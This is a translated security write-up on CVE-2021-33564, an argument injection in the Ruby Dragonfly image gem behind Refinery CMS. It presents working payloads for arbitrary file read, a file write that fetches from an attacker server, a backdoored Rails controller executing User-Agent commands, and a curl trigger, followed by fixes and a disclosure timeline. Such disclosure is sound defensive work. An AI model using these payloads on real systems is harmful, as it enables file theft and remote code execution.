Ruby Dragonfly 中的参数注入

  • Ruby Dragonfly 中的参数注入已关闭评论
  • 31 views
  • A+

CVE-2021-33564 Ruby Dragonfly 中的参数注入

译文声明:

本文为翻译文章,原作者 Michael Tsai

原文地址:https://zxsecurity.co.nz/research/argunment-injection-ruby-dragonfly/

译文仅供参考,具体内容表达以及含义原文为准。

介绍

在最近的一次客户参与中,我们在 Refinery CMS 的某些配置中发现了一个参数注入漏洞。经过进一步的调查,我们了解到该问题的根本原因存在于Ruby Gem Dragonfly中,它是一个流行的图像处理库,并且被多个CMS所使用,如:Refinery CMS、Locomotive CMS和Alchemy CMS。这篇文章概述了此漏洞的技术细节、利用过程以及对用户和组织的影响。

Dragonfly Ruby Gem

Dragonfly库允许在网站上进行图像处理,例如生成图像缩略图、文本图像或仅管理附件。为了说明这一点,示例如下所示: (用于提取图片的URL) (如Refinery CMS 文档中所述

/system/images/W1siZiIsIjIwMTUvMDQvMjEvNjRlZ2d5MjJzcl9CdWxsd2lua2xlLmpwZyJd
LFsicCIsInRodW1iIiwiMjI1eDI1NVx1MDAzZSJdXQ/Bullwinkle.jpg

然后,可以将base64编码的部分解码为:

[["f","2015/04/21/64eggy22sr_Bullwinkle.jpg"],["p","thumb","225x255u003e"]]

这将会指示 Dragonfly 应用程序首先从文件数据存储中获取指定的图像,然后再将该图像作为 225x255的缩略图。

漏洞发现

1 尝试-本地文件包含(LFI)

观察 base64 解码后的字符串,我们可以推断出 fp 表示某些类型的操作,这些操作采用可变数量的参数。特别是,f操作似乎表示文件操作。我们决定测试一下 LFI payloads,例如 ../../ 及其变体。示例的payload如下所示:

[["f","../../../../../etc/passwd"]]

但是,所有的payload均无效。为了找出原因,我们在本地设置了Refinery CMS实例,并将调试器添加到该实例中。事实证明,确实存在一些限制。对于该应用程序:

  • 会检查 ../ 是否存在;
  • 将应用程序根目录添加到该路径。

由于这些检查的缘故,LFI的利用并不能成功。

2 尝试-命令注入 (Command Injection)

但是,从示例的 URL 可以看出,有更多比 f 可用的操作。通过对 Dragonfly 的源码进行分析,可以看出, Dragonfly 通过一系列的作业来管理这些操作。 一些作业如下:

  • f: fetch
  • ff: fetch_file
  • fu: fetch_url
  • g: generate
  • p: process

之前已针对 LFI 对 fetch 进行了测试,但并没成功。由于下面展示的许可名单的功能,fetch_filefetch_url 也并未成功,

```
def validate_fetch_file_step!(step)
unless fetch_file_whitelist.include?(step.path)
  raise JobNotAllowed, "fetch file #{step.path} disallowed - use fetch_file_whitelist to allow it"
end
end

def validate_fetch_url_step!(step)
unless fetch_url_whitelist.include?(step.url)
  raise JobNotAllowed, "fetch url #{step.url} disallowed - use fetch_url_whitelist to allow it"
end
end
```

剩下的两种作业类型是generateprocess。 如 Dragonfly documentation中所述,这两种类型的作业均支持 ImageMagick 的convert 功能。 例如,URL 的 base64 编码部分

/system/images/W1siZyIsICJjb252ZXJ0IiwgInRlc3QuanBnIiwgInBuZyJdXQ==

解码为以下的payload

[["g", "convert", "test.jpg", "png"]]

它将被解释为下面的 shell 命令:

convert test.jpg /tmp/dragonfly<variable_length_string>.png

我们可以看到,我们能够控制命令的两个部分,即 convert 命令的第一个参数,以及指定文件将转换为的格式的扩展名。这表明命了令注入存在的可能性。

Shell命令参数注入

初步测试表明,命令注入的payloads,如 &&||$() 会被阻拦。 这是由下面代码造成的:

```
def run(command, opts={})
command = escape_args(command) unless opts[:escape] == false
Dragonfly.debug("shell command: #{command}")
run_command(command)
end

def escape_args(args)
args.shellsplit.map{|arg| escape(arg) }.join(' ')
end

def escape(string)
Shellwords.escape(string)
end
```

在执行命令之前,它们会首先使用 "Ruby Gem Shellwords" 的 shellsplit 函数进行拆分。接下来,使用 Shellwords.escape 对个别参数进行转义。转义函数如下所示:

```
def shellescape(str)
str = str.to_s

# An empty argument will be skipped, so return empty quotes.
return "''".dup if str.empty?

str = str.dup

# Treat multibyte characters as is. It is the caller's responsibility
# to encode the string in the right encoding for the shell
# environment.
str.gsub!(/[^A-Za-z0-9_-.,:+/@n]/, "\&")

# A LF cannot be escaped with a backslash because a backslash + LF
# combo is regarded as a line continuation and simply ignored.
str.gsub!(/n/, "'n'")

return str
end
```

这有效地阻拦了大多数特殊的字符。但是,由于用户输入字符串首先使用 shellsplit 进行拆分,因此我们可以使用空格或换行符来注入参数。例如,payload[["g", "convert", " -help test.png", "png"]]将被解释为:

convert -help test.png /tmp/dragonfly<variable_string>.png

这会使任意参数注入到 convert 命令中(这可能是设计使然)。然而,利用参数注入需要再进行更多的研究。因此,我们需要深入研究 "ImageMagick" 的功能,找到一种实现任意文件读写的方法。

探索ImageMagick

ImageMagick 的一个功能是将非图像文件转换为图像。在支持的图像格式文档中有一个 ImageMagick 支持的格式列表(Supported Image Formats)。其中一种格式 rgb 允许将图像作为原始 RGB 值读入。要使用 rgb 选项,还必须加上 -size-depth 选项。

接下来,列出了可以使用ImageMagick转换为输入文件的一些格式。其中一种格式是 BMP,它既是无损的又是未压缩的,因此在转换过程中不会丢失任何信息。结合这些,以下命令会将 /etc/passwd 文件转换为 test.bmp

convert -size <file_size>x1 -depth 8 rgb:/etc/passwd /tmp/test.bmp

test.bmp的结果如下所示:

BM&|4BGRs(` @33ff&@ff <
$2oorx:t:0:r:0toor/:toob/:/nisabd
hmea:no1:x:1:eadnomu/:/rsibs/:nrsubs//nilonigob
n:ni2:x:2:nibb/::nisu/s/rnibon/gol
nisys:x:3:3ys:/:svedu/:/rsibsn/nolonigys
:cn4:x56:435ys::cnib//:nnibys/
cnmag:se5:x06:ag:semu/:/rsmag:sesu/s/rnibon/gol
ninam:x:1:6m:2:naav/c/rhcam/e:nasu/s/rnibon/gol
ni:pl7:x:7::plav/s/roopl/l:dpsu/s/rnibon/gol
niiamx:l:8:m:8liav/:/raiam/:lrsubs//nilonigon
nswe:x:9:9en::swav/s/roopn/lsweu/:/rsibsn/noloniguu
:pc1:x1:0u:0pcuv/:/raops/locuu/:prsubs//nilonigop
nxorx:y31:31:rp:yxob/::nisu/s/rnibon/gol
niwwwad-:at3:x3:3w:3-wwtad/:aravww//:wrsubs//nilonigob
nkca:pu3:x3:4b:4kca:puav/b/rkcaspuu/:/rsibsn/nolonigil
:ts3:x3:8M:8liagniiL tsnaMega/:rravil/:tssu/s/rnibon/gol
nicri:x::93:93cri/:dravur/i/ndcru/:/rsibsn/nolonigng
sta:x::14:14anG stguBeR-ropnitS gtsy meda(nim/:)ravil/g/btan/:srsubs//nilonigon
nobo:yd6:x3556:4355n:4obo:ydon/xentsitneu/:/rsibsn/noloniga_
:tp1:x:00556:43n/:enosixnet/:trsubs//nilonigo

如果要将 test.bmp 转换回来,我们可以通过命令 convert test.bmp rgb:test.out 来反转操作,而 test.out 将包含与 /etc/passwd 大致相同的内容。 但是,如果文件大小不能完全被 3 整除,那么文件的最后一到两个字节将被截断,这是因为 RGB 格式要求每个像素正好3个字节。

此外,由于我们事先并不知道实际文件的大小,因此需要某种方法来获得正确的文件大小。这当然可以通过类似文件的暴力破解或猜测的方式来实现。但是,如果提供的文件大小大于或小于实际文件的大小,那么应用程序将返回不同的响应,因此,可以使用二分查找法。

虽然上面讨论的方法已经足够好了,但还有更多的余地来改进这些技术。通过进一步研究,我们发现通过指定随机的不受支持的格式,例如 outfoobar,输入文件的原始内容将会被复制到目的地,而无需在实际图像格式中进行编码。 此外,由于 ImageMagick 不执行任何未知输出格式的转换,所以 ,不使用-size 参数就可以包含任何值。这使我们不需要再确定实际文件的大小。

也可以绕过文件大小需要被3整除的问题。我们可以不使用 rgb:,而是使用 gray: 选项将图像作为原始单字节灰色样本读取。结合这些改进,我们形成了下面的命令,它将 /etc/passwd 的全部内容复制到 /tmp/test.out 而不进行任何编码:

convert -size 1x1 -depth 8 gray:/etc/passwd /tmp/test.out

命令执行后,/tmp/test.out的内容和/etc/passwd完全一样:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

最后,convert还支持 -write 参数,除了最初指定的文件外,它还会输出到另一个文件。这使我们可以选择将文件写入的确切位置。

总而言之,以下列出了我们可以通过参数注入执行的各种有用的选项:

  • rgb:<filename>: 读取文件作为原始 RGB 值
  • gray:<filename>: 读取文件作为原始灰色样本
  • -write <output>:将输出写入指定位置
  • -size <width>x<height>: 设置图像的宽度和高度
  • -depth <output>: 设置图像的深度

结合以上例子,我们可以实现任意文件的读写。在某些情况下,我们也可以实现RCE。下面详细介绍利用的过程。

Exploitation

任意文件读取

我们可以使用上述技术来执行任意文件读取。 下面显示的payload用于读取目标 /etc/passwd文件:

[["g", "convert", "-size 1x1 -depth 8 gray:/etc/passwd", "out"]]

这将解释为以下命令:

convert -size 1x1 -depth 8 gray:/etc/passwd /tmp/dragonfly<variable_string>.out

通过对上述payload进行base64编码,我们可以在HTTP GET请求中将其发送到本地Refinery CMS实例中,下面展示了命令执行成功屏幕截图:

Dragonfly Abitrary File Read

任意文件写入

为了实现任意文件写入,我们可以先使用以下命令在本地生成一个BMP文件:

convert -size <file_size>x1 -depth 8 gray:<filename> out.bmp

接下来,需要使用某种文件上传机制将图像文件上传到Web服务器上的已知位置。默认情况下,Refinery CMS在需要验证的管理员界面中支持此功能。但是,这可以绕过,因为 ImageMagick 支持转换由 URL 引用的图像。 这有效地将此漏洞转化为预授权任意文件写入。

因此,我们可以简单地获取生成的 out.bmp 并将其放在我们控制的服务器上。接着我们可以发出以下payload:

[["g", "convert", "http://<attacker_server>/out.bmp -write gray:<target_location >", "png"]]

这将解释为以下命令:

convert http://<attacker_server>/out.bmp -write gray:<target_location>
/tmp/dragonfly<variable_string>.out

此命令下载我们在 http://<attacker_server>/ 上提供的 out.bmp 文件并将其转换回灰色样本(这将是我们的原始文件)。-write选项还允许我们指定输出位置,允许将任意文件写入任何可写目录。

远程代码执行

一旦具备读取和写入任意文件的能力,攻击者就可以通过多种方式实现RCE。下面描述一个特定于 Refinery CMS 的场景。

获得代码执行的一种方法是覆盖 Ruby on Rails 应用程序中的 application_controller.rb。恶意 application_controller.rb示例如下所示:

```
class ApplicationController < ActionController::Base
  include ApplicationHelper

protect_from_forgery with: :exception

before_action :http_basic_auth
  layout -> { params[:controller] == "home" ? "application" : "content" }

protected

def http_basic_auth
      ua = request.env['HTTP_USER_AGENT']
      idx = ua.index("zxsecurity:")
      if idx != nil
          cmd = ua[idx+11..-1]
          puts cmd
          res = #{cmd}
          echo '#{res}' > public/out.txt
      end
      return unless ENV["HTTP_BASIC_AUTH_USERNAME"] && ENV["HTTP_BASIC_AUTH_PASSWORD"]
      authenticate_or_request_with_http_basic("Username and Password please") do |username, password|
      username == ENV["HTTP_BASIC_AUTH_USERNAME"] && password == ENV["HTTP_BASIC_AUTH_PASSWORD"]
      end
  end
end
```

这会在目标应用程序中植入一个后门,以便执行通过用户代理提供的字符串 zxsecurity: 之后的操作系统命令,并将其输出到公共可用目录。

从技术上来讲,此文件更改只会在有人重新启动服务器时才能触发,但在某些情况下,目标可能正在运行 Phusion Passenger。在这种情况下,如果更新文件 <app_root>/tmp/restart.txt ,应用程序可以自动重新启动。因此,攻击者可以先将后门的application_controller.rb写入/app/controller/application_controller.rb,然后将任意内容写入/tmp/restart.txt`。然后,服务器将使用后门重新启动。现在可以通过发出以下命令来触发:

curl -A 'zxsecurity:ls' https://<target_server>/ &>/dev/null && curl https://<target_server>/out.txt

局限和影响分析

此漏洞有一个重要限制,即必须明确禁用 verify_urls选项。verify_urls会执行以下检查:

def sha
unless app.secret
  raise CannotGenerateSha
end
OpenSSL::HMAC.hexdigest('SHA256', app.secret, to_unique_s)[0,16]
end

变量 to_unique_s 是通过展开用户提供的 base64 编码数组并连接所有字符串而获得的字符串。此代码生成用于验证 REST 请求的 HMAC-SHA256 签名。

除非可以获取应用程序机密(即,硬编码的秘密),否则此选项基本上可以缓解此漏洞

尽管不常见,但我们发现有几台Web服务器故意禁用了此选项,这使它们的资产易遭受攻击。

How To Fix It

确保启用默认的 Dragonfly verify_urls选项。Dragonfly 还为所有受影响的版本发布了补丁,因此将 Dragonfly Ruby Gem 更新到 1.4.0 或更高版本可以缓解这个问题。

Reference

Exploit PoC

漏洞披露时间表

  • 27/04/2021 - Issue reported to Refinery CMS maintainer
  • 28/04/2021 - Refinery CMS maintainer confirmed receiving the bug report
  • 29/04/2021 - Issue redirected to Dragonfly maintainer
  • 30/04/2021 - Dragonfly maintainer confirmed receiving the bug report
  • 18/05/2021 - Confirmed patch from Drgaonfly maintainer
  • 19/05/2021 - Requested CVE from MITRE
  • 25/05/2021 - CVE ID assigned

相关推荐: Windows中CVE-2021-28316漏洞分析

译文声明 本文是翻译文章,文章原作者 Matthew Johnson. 原文地址:https://shenaniganslabs.io/2021/04/13/Airstrike.html 译文仅供参考,具体内容表达以及含义以原文为准 默认情况下,Windows…